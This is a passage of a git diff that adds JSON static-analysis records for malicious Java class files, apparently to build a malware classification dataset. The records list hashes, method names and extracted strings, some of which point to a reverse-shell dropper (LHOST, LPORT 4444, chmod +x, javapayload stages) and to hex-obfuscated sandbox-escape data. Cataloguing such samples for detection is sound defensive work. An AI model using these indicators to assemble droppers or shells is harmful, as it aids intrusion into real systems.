"24:yliExKVKyQgH+SZtyN63yQe2F2OH8gk8GOZH9ZgPSE0X7WlQl:g3xKVKyhHTZtKEg2sOH8gksH9KPQ7iy", "sha256": "4493924958baf8116df59542fdf57bbca7e682ed25123126065a8f5255ec2dcf", "md5": "cd9a633f29bde9b82f346ad1f415cde4", "parent_sha256": "4493924958baf8116df59542fdf57bbca7e682ed25123126065a8f5255ec2dcf"}} \ No newline at end of file diff --git a/java_classification/data/malicious/44ef09a17a45606e420af549868087006f3ef51f5153d2c8b4937cac0b6e0e63.results b/java_classification/data/malicious/44ef09a17a45606e420af549868087006f3ef51f5153d2c8b4937cac0b6e0e63.results new file mode 100755 index 0000000..6f00d40 --- /dev/null +++ b/java_classification/data/malicious/44ef09a17a45606e420af549868087006f3ef51f5153d2c8b4937cac0b6e0e63.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "HVDgQ.java", "class_name": "HVDgQ", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "yqywXyC", "rrreLIFy", "kvjBYp", "kpUafic", "VDJRGPFuA", "RFVAm", "luuGeqb"], "minor_version": 0, "const_pool_count": 135}}, "_id": "95b02202-7d77-4809-b49a-4b8b9f2d4469", "verbose": {"java": {"constant strings": ["", "\\x08\\x17\\x17\\x05\\x14\\x19\\x08\\x17\\x07\\x08\\x12\\x05\\x01\\x13", "\\x08\\n\\n", "\\x04\\x06\\x13\\x01", "\\x12\\x14\\x19\\x05", "\\x16\\x07\\x04\\x13\\x01", "\\x04\\x13\\x06", "\\x05\\x12\\x07\\x04\\x02\\x08\\n\\x0b\\x05\\x12\\r\\x13\\x06@\\x0b\\x0e\\x06\\r"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b6794ae2b49b5f486a4efbd92a5b5c2aa45748d2", "file_name": "java_malicious/44ef09a17a45606e420af549868087006f3ef51f5153d2c8b4937cac0b6e0e63", "_id": "95b02202-7d77-4809-b49a-4b8b9f2d4469", "score": 0, "entropy": 5.792885275152332, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3426, "ssdeep": "48:4fcRuJmyFlCHtlNsMzqLfmZctZHOoEPBbEJ0e7CnejoYi4thcjgZ2VbymDE6EmnJ:4vFlWSe45Ms0e1joYi4thfmeeTl", "sha256": "44ef09a17a45606e420af549868087006f3ef51f5153d2c8b4937cac0b6e0e63", "md5": "a0738f6d746f1099d14394779548359e", "parent_sha256": "44ef09a17a45606e420af549868087006f3ef51f5153d2c8b4937cac0b6e0e63"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4559ab680d605ae339239da7fffdf9f18ff008ca3c664df580af85b5df084f3b.results b/java_classification/data/malicious/4559ab680d605ae339239da7fffdf9f18ff008ca3c664df580af85b5df084f3b.results new file mode 100755 index 0000000..dc043bd --- /dev/null +++ b/java_classification/data/malicious/4559ab680d605ae339239da7fffdf9f18ff008ca3c664df580af85b5df084f3b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/skowelezs", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "aouuybeviwfjb", ""], "minor_version": 0, "const_pool_count": 443}}, "_id": "1998dd79-e7cb-4801-97b6-81c24045be6f", "metadata": {"mimetype": "application/x-java-applet", "sha1": "a2ed9a9dace3c6d68704a6c6b0e165ce8febd356", "file_name": "java_malicious/4559ab680d605ae339239da7fffdf9f18ff008ca3c664df580af85b5df084f3b", "_id": "1998dd79-e7cb-4801-97b6-81c24045be6f", "score": 0, "entropy": 5.204040324676558, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6899, "ssdeep": "192:LHqusYQmHg/nNmesPK58so55UTYwa5hG5:bsYQmSkeIK8sofUTkk", "sha256": "4559ab680d605ae339239da7fffdf9f18ff008ca3c664df580af85b5df084f3b", "md5": "aaa278a1585e5c889d6f0b2ff3b3c76b", "parent_sha256": "4559ab680d605ae339239da7fffdf9f18ff008ca3c664df580af85b5df084f3b"}} \ No newline at end of file diff --git a/java_classification/data/malicious/463b2233da4842ebca7d72af85ed9162bb36780d222590c4027501b2171f1187.results b/java_classification/data/malicious/463b2233da4842ebca7d72af85ed9162bb36780d222590c4027501b2171f1187.results new file mode 100755 index 0000000..db65edf --- /dev/null +++ b/java_classification/data/malicious/463b2233da4842ebca7d72af85ed9162bb36780d222590c4027501b2171f1187.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "morale", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "init", "toString", "a", "b", "a", "a", "c"], "minor_version": 0, "const_pool_count": 1091}}, "_id": "f9fd5250-c2e9-40be-8d58-f1180f79e146", "verbose": {"java": {"constant strings": ["", "/", "A.exLGyhU", "A07GPbA jQJAB6s DZSUq1g ", "A0_-?QldSG", "A5lG3j7 jGAc0ZU ", "AJDamM", "AQKW1BQ sRh6EWy BEaSSBp ", "ARK8iUV", "AkAQ2ne wA05H1y vH8P11c l6RbMgN ", "Azs3728Rl1Zc", "B02RnFzR", "B2B66Df", "BA756RUv", "BPFcdq", "BZdkB1U KW7L8Z7 ", "BeBA", "BlqGAs8 qbfy0Vh SpdnVyh ", "C4yQMwK uBk2QL7 wmj4ZrC LKRRG4f ", "C6Bf72a", "C8es012muM", "CGF5yJK ZKbkHrd BgWnZSE ", "CRR0NFd cT7KZeu ", "ChZCL7K sjyt7u8 szc3Qb3 ", "Cjg375v", "CkYZ/ck1uC", "CmKDb6l E2TVpnN WwfAPlb ", "CvNbrJ3 a46kc3W PN0g4el MYSbf6e ", "Cwem5Jt gcY4eqZ gvGYUs4 mE1sRkP ", "D#4TH3m", "D82q6737RwJ", "DpVhGTM J2v5sgW ZVSn42E kaJqTHg ", "DtaU074YF", "DvvaQuc kqmdpGY SdNgf1W ", "E02Zud6", "E1J6fHz8wr", "E8Fe74sty", "EC6a6N5", "EGFyL06 WvCENF2 pGubzu8 ", "Ejaf361L8U", "EvVd65T", "EwmyY8U nGa2e7a aJPEWSs ", "F537PgV", "F68d72nLT64", "FBnVDm7 rDF387N QzdyD70 ", "FCtrU", "FacCvsD", "Fah97N", "FbPjZqg UTJV5H6 yBWnrDj ", "FcT5UZmsbu6", "FpNNY167Z", "FvpmyjT eh2PrQt jrt8uet ", "GA04ZNJ5", "GG6R5PS Fetuj7N mw3JCzk ", "GHv0zPL Tg4ubhh YtRMcuz ", "GRcj4dfb", "GTPBnPU NlN1NfD ", "Glud6vV hpGAAaA pRewqDJ sjLuzes ", "GmfP5:V/nTQl", "GtLESy3 jC2prSQ zucUQvH ", "H070cYP QNv120D ", "HAc374ETrUu", "HG2Nc3dRvv", "HGsJcTP FkBNltE bSY7a8T VyEFuUN ", "HGv33fcdV", "HPGJ1747S", "Haf6GJ6 q3zj1p3 ", "HfbycVT NGRdHBb ", "J4AcVaD jQwCRmC ", "JF6f6FWUr", "JKHR6jW jQbHp2q ", "JVj8KFA DuNGKVs ", "JZe6Myqs", "Ja732D8", "JaQSgTt mgJPKhb UyuvPgR Ut3vBbp ", "Jc374s", "JceSKa", "Jla70ns MPhU0NW elCKsbJ ", "JymqmK1 pN3zCRk rp0v0lC uPD2aEB ", "K3kcxRWMhJp", "K52bh7", "KE1047uzp", "KLPBy747lvQcR", "KSQmJNN WA2Nd6K p6lJhDs ", "KaPF&=%S5Hq", "L1BRpVy JMMHpQ8 PPge6LA ", "LCPAFw7 yBGELhj yqgTUhm B287wVM ", "LLkrW5h P8Nz3Hp ", "LU4206Fbd", "LV1hB3C qmWhFsA ", "LYDmtzN kqz1pQB wMksALq ", "LekF47BW", "LsYseMg h7TNAZm SvD6YGL ", "LzABkDf", "M2g7dGYhC", "M8toSJ", "MC97bzRnQ", "MCdowef", "MFejb72plU", "MSZewPl rCY6jnc Ak8sTwB cMBTs21 ", "MTGNR69SDS", "McUyuJv edJHmLA zQZfy1T Kw7JNME ", "Md0d6QH", "N5z04We qneQUqs ", "N672EGNj", "NG8k17r", "NLZgdDa KFkaTTF ", "NQG0MIen", "NchRe74ljUYA", "NckS0ucjErr", "NePMuPq QJj2c7s FD32vBq cfBVDjT ", "NgN", "Nla.fQkg", "Ntz5s5T NMMmBve KcHukej LBtvUpG ", "PEJng365QE5WD", "PJQ53CdK51", "PQTqYDp h4ng1p1 MSaHql3 ", "PWVAD2r EDVbMf4 yERZ8bw ", "PYR12ppl6", "PdDNS0H RnWyQMD Q3MJvza chnmclz ", "PgnbEUu NH0q6A8 ", "PhCGDhQqu", "Prblkpc JvsZd1V ", "PrsBEQd fPkb8Gq rPgMqyb ", "Q1PKDSr Nk1kkQA fh2mclP LV8NTTy ", "Q269WH", "Q5463W", "Q7PWint", "QFZxientqjb", "QJKsUb", "QMQcgkF aPMGd4S yDFwwkM sN8DeVU ", "QTSqG869qygge", "Qya269sNcL", "Qzp287dgk", "R1s4awC LJjZLAh ", "R26YhD", "RB7bA", "RMgca17HPN", "RPWUDCDvmdk", "RWYl22nHwrp", "RZVwnYb wQ844re zWLajml ", "S2ZqZ0P mJkeBgl ", "SATGHIH183U", "SBMmUJ2 glCqt4N ZgBpv3N mcWNSVG ", "SCCjavh", "SJZgZyp BbEzM5Z ", "SUZaU06pda", "SauTKuU rlLKGs1 ", "Sj#V", "SwzdNGG lfMjA5p ", "SykC66f5wQSa", "T3ghiZ8BVU", "T563ed", "TNhNtdT VDcbQ2H kjm1cqn ", "Taystvl", "Tnqcuj1 dfvW1G7 ZUbYTBq wBAkHhu ", "Trz3c86ySe", "TsSBNWFt6", "Tvb.tc", "TysWQuvwP4EEE", "U6Ws3GK WSY1u2F tUHLLep ", "U7f96f0agK", "UbUmDmd aYAcT0W ", "UlZfb6WyES", "Us5e2MQ", "Usz3EUD P7evCf3 jRCPCp0 ", "UwNz3d3uT", "V203bp", "V20eSMD", "VAVqHRU VBTPBdy DTurRE7 ", "VCDfu46AU", "VFEhB2K JvrkE5d ", "VP678hB npVY1JS C65sZLQ ", "VWJ97bV", "Vc68L", "VdAvsEB aYTpeHz BhP4nwT ", "VkZ2Ygc w4pcP3e ", "VlyecKu", "VmpdR7VG", "WFyg73w", "WR572SA", "Wdqrs53bzv", "WdwZRLJ kfssnaD yD6PQwY vARzr8p ", "WhvspGk ztDwwsJ ", "Wk7cNE1 dudKtlV ", "WpH?n", "WsGWhlr ySBycrc ", "WyzP86N Qa6cQrv ", "Y4a3HCd TmrRtlF Q6zkU7B cl7bpnj ", "YWK5SWL qbUQNv8 lL0wb62 ", "YdMT6682ZGcQU", "YpQqB15 j68lKHG ", "Z3netL63", "Z3urq3a f2khdgL ", "Z4vbZav cLRPa4E wMu608j A0F5nQl ", "ZRn0ZgZ U5cDWfL JpShPRB ", "ZfV46zA", "ZgqvjuC", "Zhq279Ks", "ZnHbjEg rJS3wZB FfNMrHu YR16wrB ", "ZrJReeRT", "Zs1gEmK NhS0n7W ", "a03b7Q", "a3C7S3g R01HCZh amNSLqm J5KPPZR ", "a4f6H17 wCZ151d ", "a6MhGYh mjBNwbG dQVSMke ", "a8gHRSRNB", "aJmjde2aNr", "aKZptJ7 zLeMKWH ewPpSt1 ", "aLcGA.Fdn4", "aYZr8Ja RJNLGUf ZrcLgpD ", "aZ1VruS zK1kytG ", "aeNEemaA", "aefCsazg", "afY2FBG ntusBJC mP6bR7M ", "aggL7lr J2fdRYf ", "aj537Tqg", "ajave12mg", "anE4b7UW", "aqSd2M", "askCGLr Z7RvWjz jYdwGC0 K6QqA58 ", "atK29WY", "avsjjaD vmha3fN ", "ay3NJGz qpwdgbn ", "b6e7KKcM", "bDTFB3b nF4ep1Z MQDVcep reC51Sd ", "bKQZw&krta", "bbkhK4z VE2Jnwh GlZEW25 LkUhRSP ", "bfJjaq", "binJMs5", "bv7UC2bQ", "bwD5M282Ct", "bwwFmGf zFPwfrF kEwa1CJ ", "byy4vnG rsZa8FE ", "c1SC3nR E5fzR1v QQrKHZb ", "c2uke7d", "cBbLMNVZy", "cFk4S72zd", "cQbGej4 ssr4tcR gRS1Wgm sd1t6l0 ", "cY3N269rmvQ", "clpY616V0r", "cnanQRN nGWyNAr ", "cuZLknq cnuGCTU RFEMq8p ", "cvAzetH YsUkZAD mYGPVgB W4ZYFWD ", "cw72S5tDq", "d0Tcn1n GZAdYtk NHrbQAm cH26qdH ", "d2G67s", "dDl7VzF APwQeRS FkTkU5u ", "dJ7Zb5V lCgJQ6e YmDdF38 ", "dLTlrstPEw", "dVHmW8f UAunydS ggqrHFt A4geL61 ", "de65Z", "dere67aRtkc", "dmhF66h0", "dmuHj56QJ1T", "dur74Fjpj", "dydmae", "e3b7rd6h", "e4Pq46eJkP", "e6e6Hz4Z8", "e7TV3ioT", "eJmBLsd plfMzs5 jZq4Hsj ", "eKBp2JN n5YystA vsF6r5M y8bs6mT ", "eL4p8mc lC4tdjN Jdv1zfl kAmjnfA ", "eM3QAF6 QyP0WJd tmrybGH Dp7Ts15 ", "ePK66Rpwt", "ePbEe6NhhL", "eW8MJj8 Bqv64A0 aE0KpQ5 zsZwk2h ", "epnU_7Bw", "f2e43b7n", "f3b7z3", "f5jk0Tb u0JPFCk pWSE1Vb ", "fQf6ffV", "fdrgs", "fr1N726N0kD", "fsJ134mJTz", "fuettmyW", "g20vZQB Ye6e4ty UeUknCa YblVeGB ", "g3Tjy64 rGLTycW BfHNK6V ", "g4rgmYN VBWJtVc lSZRjSw ", "g7mmbL6 SnAaTn4 BANNd7c T2wECUl ", "g97mbr", "gCr747Wy", "gFbP66e6EM", "gH5u1w8 jpHAqzM GGTLJNh GcbR7QD ", "gQZ03nt1", "gYjCTkg w03U5mN ", "gl5tXq", "gvctte63R", "h4JRNNy ZETm8S1 GyRAVKR ", "hG1286QdR", "hKuz074c", "hVnwN74NBlW", "hbnSKsHnw", "hg7YuGG njZES1M jT3Mv3v tsZ0MFq ", "hjFGplU rt5Drnz EwCPa5R qZ7DtLt ", "hwHfvea Eh30M34 ", "j0y7c0D FC3NlA1 LcHbVKd bTFLU0D ", "jC8696Gek", "jMs657aKf6a", "jctrj7vF", "jkATTS0 wD5zma4 ", "jml%=w7c", "js", "jyVW4C4 S2em66C ", "k0t2MkC dbUMhHb ", "k3r69bq8b", "k8wljma ScQ1nJl DkcavlK leA86gg ", "kD7d7e", "kNlMNTN Tf8eWbz ", "kUJPpBl lhvseb4 R8jtLtp ", "ka.bGW", "keenLP4 EFU31AD Q4wt8Cg ", "ktYWera c0QwpGl ", "l22z", "l8svALw UZRLlVm Kz4JDrr PRujWrk ", "lArGtbb PGLDUvg ", "lF93dPlM", "lOPQJN33", "lPh8cEFbzF", "lQWv56tY", "lQd3bnWhGp", "lS4pqtPlNP", "lTUtr", "laNmE37nMJ2r", "le1DwhP RS07vGp SQMGZQY ", "lnsAE2N CbssLJW ", "luWfYrG ENtdrWw lcmUyje ", "m1JMaUb g0lgZb6 ", "m3Kd3q", "m4065lS4", "m4FQvNe kt8qQPu ", "m85W4.usUZ", "mKnLbJn lF1JatQ gb3JtHV L0NKFpz ", "mm3wcky V6ZJVqu C6YQtyh ", "mqg757JFy2", "muE0qGS nR8wtnB EJM2DSw ZMLSga2 ", "my4jt65dDb", "n697w6c", "nFU6e2T", "nn2FmJc v3ugeNG wkDLKv7 ", "nrK479C", "nseS75QkScE", "p0umP3Z HepLbBY ", "pDmggKb N0deLkF ", "pPLr7572CsVS", "pRv5Sd2p8dR8", "pc61m8", "pirYt", "pj-zG", "pjgQ4.ndp01k", "pwPFkbE cdqgAJg zN2laVk ", "qJ6e6pSAVF", "qQ7aVGg aJNmb2k YEVDZZc sWS8BmH ", "qb65rE", "qfWUS36 fkszuts eClFu38 JttK6cM ", "qnHz78GsVB", "qyU5k74s", "r2FM265ljt", "rEFMuc6p", "rHkejUf AZ7vbBb AgLJ1Uf QrUPtQU ", "rJ7DMfErYP0", "rWu2gfB jrahGWy ", "rlvVP2hdE6", "s3NVjww kMaqmqc pU7aG6L ", "s5w730p", "s72ea5", "s9abksM4Q", "sBuj6bATS8", "sKcBJa2 clLzEbj JFdPAcf ", "sSdzT8j bsB4DkQ kFyK38E j7JBvCT ", "sb93cCDsgF", "se228jUFa", "shWv4QO9g", "sk6fu", "t4RL697yNYA", "t8dF4Ky mr2qlD7 ", "t8nuVuk Q47Vd1K ", "tANGScr t4ltamM hwH1rk0 ", "tAd36DS5AW", "tMygtnw pgb33YR ", "tWr73zp jSRvCQH EEN8TcG yT4zeVm ", "tmrjjkltS", "trD7b93bwS", "tt7s37t2k8C", "tuMCC44 ejSyjn8 ", "u.:sAd", "u05ERgZ d6MrpS5 WMyesAd GGHLleT ", "u2HEc29ELgmw", "u4f6Profw", "u737tE8", "u747Lh", "uPtLBfk gcEjuye b1ytKfN ", "uUGmlJU wSPbHWE ", "uaDzUdY ql1UbRu WGCgwkk ", "ubr17bV6f", "ujewlHF Qm16wp4 ", "unYLrWup", "uvVe2PReC", "v3QVr3Sl", "v6jhjsw MmQfryM vW46BZm ", "v82QWdj", "vN0jj4j yEKQShM CR5jsMQ ", "vWfcDd", "vj6feym r6Z7CW3 pR6LQvY ", "vylsp3t sJKkDhR sKvArUP ", "w2e6dtpe", "wQdSmbr zKLl54T lYRreK3 WLchqRf ", "wb772LcVh", "wdwsLVWXl", "weJf2TY tg6zRg6 ", "wk1fGF2 nq7bBrp ", "wrJC655 PKyJpSB qQ06pBF ", "y2TN5gA nKrPArm nVn4CGQ wdJhlqC ", "yEfdmnofN", "yGgWBh3 WYMEcwH ", "yMxyK", "yd6j5h5 WHc42a3 SHMhDzg ", "ylP1cs3 kahWqyz VuwMwqK ", "ynBy2cn vKnqrYS E6F6gs1 Rb5p2nw ", "zA31oG", "zD529k", "zEkR66wG2", "zJ1L536BlkD", "zQsVZHe acRp5ch dJQvV2K wg0TUBZ ", "za64TBg kq5SPlu cBqCEsd h4wgDLE ", "zaMb65BGkd", "zaa2kWH ZSftQCR eqV48R4 ", "zbMnMZJ EfwFCYy yPjW4Qd q15lEZ2 ", "zcDtuej vWYC70D HK0P6Bv qPdzEeD ", "zfSn656EhWCb", "zosUP1ur", "zuZLd20M"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9cb2e684b224c89e872a1f8ec66c7ad4058bb462", "file_name": "java_malicious/463b2233da4842ebca7d72af85ed9162bb36780d222590c4027501b2171f1187", "_id": "f9fd5250-c2e9-40be-8d58-f1180f79e146", "score": 0, "entropy": 6.427036679498145, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 16051, "ssdeep": "384:kPJ1jqpm9OaozzSy6auRym2u2Br3mHAzYJOuMioF7e:YHemfgzSLvyFpBr3i9JnhYe", "sha256": "463b2233da4842ebca7d72af85ed9162bb36780d222590c4027501b2171f1187", "md5": "50a38520da002f99762b24618127e7f8", "parent_sha256": "463b2233da4842ebca7d72af85ed9162bb36780d222590c4027501b2171f1187"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4684fcf02be5e3bd249a2978fb368da1884946d2c2a2273cf3de911586adda2a.results b/java_classification/data/malicious/4684fcf02be5e3bd249a2978fb368da1884946d2c2a2273cf3de911586adda2a.results new file mode 100755 index 0000000..0ceba4c --- /dev/null +++ b/java_classification/data/malicious/4684fcf02be5e3bd249a2978fb368da1884946d2c2a2273cf3de911586adda2a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "nLmbjHycYB/VqRYDjs", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "9b06d5ad-65fa-4eaa-aa92-3f55e9601b42", "verbose": {"java": {"constant strings": ["nLmbjHycYB.VqRYDjs", ".class", "/nLmbjHycYB.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "nLmbjHycYB.dat", "URL", "", "https:", "nLmbjHycYB/VqRYDjsTrustManager.class", "VqRYDjsTrustManager.class", "AESPassword", "nLmbjHycYB/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "nLmbjHycYB.VqRYDjsTrustManager", "useFor", "java.net.URLConnection", "nLmbjHycYB.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "VqRYDjs -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e6699d687c61c8df71fe7fe47090b0dfd7b28271", "file_name": "java_malicious/4684fcf02be5e3bd249a2978fb368da1884946d2c2a2273cf3de911586adda2a", "_id": "9b06d5ad-65fa-4eaa-aa92-3f55e9601b42", "score": 0, "entropy": 6.144435653009997, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMtDUBVq+W+zThmIzxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1t/YktmeyNvpvUrKYvCkgHzbDrDF", "sha256": "4684fcf02be5e3bd249a2978fb368da1884946d2c2a2273cf3de911586adda2a", "md5": "5eb88a27e8688e8504051405e8c96ded", "parent_sha256": "4684fcf02be5e3bd249a2978fb368da1884946d2c2a2273cf3de911586adda2a"}} \ No newline at end of file diff --git a/java_classification/data/malicious/4689bffb2a00cf349ce5ad6c88515b3dfedd29f8bfe6a8cc6ad70452c7c1e69b.results b/java_classification/data/malicious/4689bffb2a00cf349ce5ad6c88515b3dfedd29f8bfe6a8cc6ad70452c7c1e69b.results new file mode 100755 index 0000000..ef56661 --- /dev/null +++ b/java_classification/data/malicious/4689bffb2a00cf349ce5ad6c88515b3dfedd29f8bfe6a8cc6ad70452c7c1e69b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "VirusTotal.java", "class_name": "VirusTotal", "access_permissions": ["ACC_PUBLIC"], "major_version": 45, "method_names": ["main", ""], "minor_version": 3, "const_pool_count": 149}}, "_id": "cce98284-ac24-49a3-b13c-6e76eee313e0", "verbose": {"java": {"constant strings": [" |", " | ", " | ", " | ", "------------------------------------------------", ".class", "Landing Camel International", "Usage: java VirusTotal file.class", "Virus Total Information Recovery (c) 1998", "r", "user.dir", "| [ field name ] | [ dec ] | [ hex ] |", "| virus_access_flags | ", "| virus_attribute_length | ", "| virus_code_length | ", "| virus_constants_count | ", "| virus_constants_length | ", "| virus_constants_pointer | ", "| virus_fields | ", "| virus_interfaces | ", "| virus_method_length | ", "| virus_method_pointer | ", "| virus_num_methods | ", "| virus_this_class | "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ee1cf5bd54f664f1efd60f41205a3e647122a6b6", "file_name": "java_malicious/4689bffb2a00cf349ce5ad6c88515b3dfedd29f8bfe6a8cc6ad70452c7c1e69b", "_id": "cce98284-ac24-49a3-b13c-6e76eee313e0", "score": 0, "entropy": 5.795198788720714, "libmagic": "compiled Java class data, version 45.3", "file_size": 2938, "ssdeep": "48:oYj0LrazPqgwfMpfW0Ij9/Fk9znbr2gI4YvgiJyGyQmSMT2nrS+xj/vKWmF6:jwgwUIZPgpfkyGyQHnGgj9mg", "sha256": "4689bffb2a00cf349ce5ad6c88515b3dfedd29f8bfe6a8cc6ad70452c7c1e69b", "md5": "68fabdafe4d847127c8bc37a5d4676ed", "parent_sha256": "4689bffb2a00cf349ce5ad6c88515b3dfedd29f8bfe6a8cc6ad70452c7c1e69b"}} \ No newline at end of file diff --git a/java_classification/data/malicious/47acca2a71afa9df6ce256fd51581cd73576ffa5c3e6502d463454d8cfa57ba2.results b/java_classification/data/malicious/47acca2a71afa9df6ce256fd51581cd73576ffa5c3e6502d463454d8cfa57ba2.results new file mode 100755 index 0000000..883f684 --- /dev/null +++ b/java_classification/data/malicious/47acca2a71afa9df6ce256fd51581cd73576ffa5c3e6502d463454d8cfa57ba2.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "S", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 46, "method_names": ["", "parseInt", "gc", "gc", "r", "r", "rb", "nl", "ii", "ii", "ii"], "minor_version": 0, "const_pool_count": 114}}, "_id": "2ff1be4f-8051-4a0d-a542-865a130e01be", "metadata": {"mimetype": "application/x-java-applet", "sha1": "42a7ba0818bf2f09c13b3fea8500addc332b5e2c", "file_name": "java_malicious/47acca2a71afa9df6ce256fd51581cd73576ffa5c3e6502d463454d8cfa57ba2", "_id": "2ff1be4f-8051-4a0d-a542-865a130e01be", "score": 0, "entropy": 5.346005422093321, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 2293, "ssdeep": "24:cCiqonTf/yQk3klKRJDWfwUd1wjMgWoD21zOGk1u0oU4ozyiQ/Vs2HuZG1mDlBJu:2xnTnyiKRQfhwd61ajFLG/m2Hum", "sha256": "47acca2a71afa9df6ce256fd51581cd73576ffa5c3e6502d463454d8cfa57ba2", "md5": "1b27101cfc1b136fb4c546e6992fee26", "parent_sha256": "47acca2a71afa9df6ce256fd51581cd73576ffa5c3e6502d463454d8cfa57ba2"}} \ No newline at end of file diff --git a/java_classification/data/malicious/47bf6aa65b50797afd59a1cf5c983ea09ade012b8906c3864b4a6b342e4d4a1c.results b/java_classification/data/malicious/47bf6aa65b50797afd59a1cf5c983ea09ade012b8906c3864b4a6b342e4d4a1c.results new file mode 100755 index 0000000..7d24c65 --- /dev/null +++ b/java_classification/data/malicious/47bf6aa65b50797afd59a1cf5c983ea09ade012b8906c3864b4a6b342e4d4a1c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "C3.java", "class_name": "C3", "access_permissions": ["ACC_SUPER"], "major_version": 48, "method_names": ["", "char_at", "instantiate", "invoke", "string_to_bytes", "load"], "minor_version": 0, "const_pool_count": 162}}, "_id": "2b93c89e-344e-4485-9e39-88aa83a4cc8f", "verbose": {"java": {"constant strings": ["newInstance", "file", "setSecurityManager", ":///", "CC00BCC00202023202800C022902340C023502360902370C023802390A023A0A023B0C0238023C09023D09023E0A023F0C024002410C020B02420C020B02430C020A02440902450902460902470C021302340A02480C023802490C0213024A0A024B0C0213024C0C021202420C0211024D0C020A024E0A024F0C025002510A02520A02530A02540C021102550C020A02560C021102560C025702580C0257025909025A09025B09025C09025D0302083E6B706B76400302052A2B58030206457166670302114E6B706750776F6467745663646E670302057477700302162A2B4E6C637863316E6370693151646C6765763D03020C477A656772766B71707503020C557177746567486B6E670302094536306C6378630E022B022C09025E0E025F02600302296C6378633175676577746B767B3152746B786B6E676967664365766B7170477A656772766B71700902610E026202630302106A767672306D676772636E6B786703020768636E75670E0264026503021D6C637863316B713144776868677467664B7072777655767467636F03020E6C637863317067763157544E030302", "2222222222222222222222222222222222222222222222222222222222222222", "2222222222222222222222222222222222222222222222222222222222222222", "2222222222222222222222222222222222222222222222222222222222222222", "2222222222222222222222222222222222222222222222222222222222222222", "2222222222222222222222222222222222222222222222222222222222222222", "2222222222222222222222222222222222222222222222222222222222222222", "2222222222222222222222222222222222224A5656723C31316571716D796374", "676E71716D77727530706776317236764B566943316A702F386773754C59525A", "0902660E026702680E022B02690E026A026B0E022B026C03021E6C637863316B7131447768686774676651777672777655767467636F03021A6C637863316B7131486B6E6751777672777655767467636F0302186C637863316E637069315576746B706944776868677403020656474F520E026D026E0E026F027003020A316F717430677A670E027102680E022B02720E02730274030207", "3232333335", "0902750E02760277030207", "3232323837", "030207", "3232323637", "3232323639", "0E027802790E027A022C09027B0E027C027D0E027E027F0302156C637863316E63706931477A656772766B717003020445360302126C637863316E6370693151646C6765760302296C6378633175676577746B767B3152746B786B6E67696766477A656772766B71704365766B71700302206C6378633175676577746B767B314365656775754571707674716E6E677403020E667152746B786B6E6769676603023F2A4E6C6378633175676577746B767B3152746B786B6E67696766477A656772766B71704365766B71703D2B4E6C637863316E6370693151646C6765763D0302126C637863316E63706931557B7576676F03021475677655676577746B767B4F6370636967740302202A4E6C637863316E6370693155676577746B767B4F6370636967743D2B5803020D756776527471726774767B03023A2A4E6C637863316E637069315576746B70693D4E6C637863316E637069315576746B70693D2B4E6C637863316E637069315576746B70693D0302126C637863316E637069315576746B706903020676746B6F0302162A2B4E6C637863316E637069315576746B70693D0302172A4E6C637863316E637069315576746B70693D2B5803020C7172677055767467636F0302192A2B4E6C637863316B71314B7072777655767467636F3D03021A2A4E6C637863316B71314B7072777655767467636F3D2B580302086967766770780302282A4E6C637863316E637069315576746B70693D2B4E6C637863316E637069315576746B70693D03020863727267706603022E2A4E6C637863316E637069315576746B70693D2B4E6C637863316E637069315576746B70694477686867743D03020A76715576746B706903021C2A4E6C637863316B713151777672777655767467636F3D4B2B58030206746763660302092A5D444B4B2B4B0302136C637863316E637069314B70766769677403020A72637475674B70760302172A4E6C637863316E637069315576746B70693D2B4B03020779746B76670302092A5D444B4B2B58030207656E7175670302136C637863316E63706931547770766B6F6703020C696776547770766B6F670302172A2B4E6C637863316E63706931547770766B6F673D030206677A67650302292A4E6C637863316E637069315576746B70693D2B4E6C637863316E63706931527471656775753D0223022802290203022A020202040203022B022C0203022D0202024002030204020202102CB902032CBA020459A902064EB302030206020B020E02050203022E0202021802070202020B0206020E020B0213020E0210020F02140203022F02300204022D02020399020802090202031903BA0206130602BE0A4E053F054014071408BA020959BD020A5BBD020B5B140CB8020DB9020EB8020FB902103C06BD02115BBD02125BBD02135BB902141415BA0216B802171418B80217B80219B9021A130602B9021B3C071B062D05130602B8021C5B3F9D02831F1E624005380817081EA4026B